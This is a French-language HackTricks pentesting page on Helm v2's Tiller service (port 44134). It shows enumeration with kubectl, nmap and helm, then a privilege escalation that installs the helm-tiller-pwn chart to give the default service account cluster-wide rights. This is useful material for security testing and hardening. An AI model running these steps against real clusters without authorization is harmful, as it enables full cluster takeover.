5.5 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informations de base
Helm est le gestionnaire de paquets pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés Helm Charts. Tiller est le service fonctionnant par défaut sur le port 44134 offrant le service.
Port par défaut : 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeration
Si vous pouvez énumérer les pods et/ou services de différents espaces de noms, énumérez-les et recherchez ceux avec "tiller" dans leur nom :
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Exemples :
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Vous pouvez également essayer de trouver ce service en vérifiant le port 44134 :
sudo nmap -sS -p 44134 <IP>
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme homebrew
, ou consulter la page des versions officielles. Pour plus de détails, ou pour d'autres options, consultez le guide d'installation.
Ensuite, vous pouvez énumérer le service :
helm --host tiller-deploy.kube-system:44134 version
Élévation de privilèges
Par défaut, Helm2 a été installé dans le namespace kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'escalader les privilèges.
Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera au jeton de service par défaut un accès à tout dans l'ensemble du cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
Dans http://rui0.cn/archives/1573, vous avez l'explication de l'attaque, mais en gros, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml à l'intérieur de helm-tiller-pwn/pwnchart/templates/ vous pouvez voir comment tous les privilèges sont accordés au jeton par défaut.
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.